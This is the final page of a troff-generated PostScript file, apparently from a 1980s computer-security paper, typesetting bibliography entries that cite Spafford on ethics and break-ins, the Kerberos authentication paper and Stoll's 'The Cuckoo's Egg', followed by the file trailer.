1181(ord,)S
1374(Eugene)S
1708(H.,)S
1865(``Some)S
2194(Musings)S
2574(on)S
2709(Ethics)S
2994(and)S
3173(Computer)S
3608(Break-Ins,'')S
10 I
4128(P)S
8 I
4189(ROCEEDINGS)S
10 I
4720(O)S
8 I
4792(F)S
10 I
4877(T)S
8 I
4933(HE)S
2340 V
10 I
970(W)S
8 I
1053(INTER)S
10 I
1306(U)S
8 I
1378(SENIX)S
10 I
1626(C)S
8 I
1693(ONFERENCE)S
10 R
2158(,)S
2213(Usenix)S
2526(Association,)S
3053(San)S
3233(Diego,)S
3532(CA,)S
3726(February)S
4116(1989.)S
2496 V
720(28.)S
970(Steiner,)S
1311(Jennifer,)S
1690(Cli)S
1813 H
	(f)show 10 -.5 mul h (f)show
10 R
1874(ord)S
2040(Neuman,)S
2436(and)S
2613(Je)S
2696 H
	(f)show 10 -.5 mul h (f)show
10 R
2757(rey)S
2917(Schiller,)S
3286(``Kerberos:)S
3808(An)S
3963(Authentication)S
4591(Service)S
4924(for)S
2616 V
970(Open)S
1222(Network)S
1607(Systems,'')S
10 I
2067(U)S
8 I
2139(SENIX)S
10 I
2392(A)S
8 I
2453(SSOCIATION)S
10 I
2938(W)S
8 I
3021(INTER)S
10 I
3279(C)S
8 I
3346(ONFERENCE)S
10 I
3846(1988)S
4081(P)S
8 I
4142(ROCEEDINGS)S
10 R
4637(,)S
4697(pp.)S
4857(191-)S
2736 V
970(202,)S
1175(February)S
1565(1988.)S
2892 V
720(29.)S
970(Stoll,)S
1223(Cli)S
1346 H
	(f)show 10 -.5 mul h (f)show
10 R
1407(,)S
10 I
1470(The)S
1658(Cuckoo's)S
2073(Egg,)S
10 R
2297(Doubleday,)S
2798(NY,)S
3005(NY,)S
3212(October)S
3571(1989.)S
3865(Also)S
4093(published)S
4521(in)S
4638(Frankfurt,)S
3012 V
970(Germany)S
1371(by)S
1501(Fischer-Verlag.)S
7920 V
EP
%%Trailer
%%DocumentFonts: Courier Times-Roman Times-Bold Times-Italic Symbol Troff
%%Pages: 19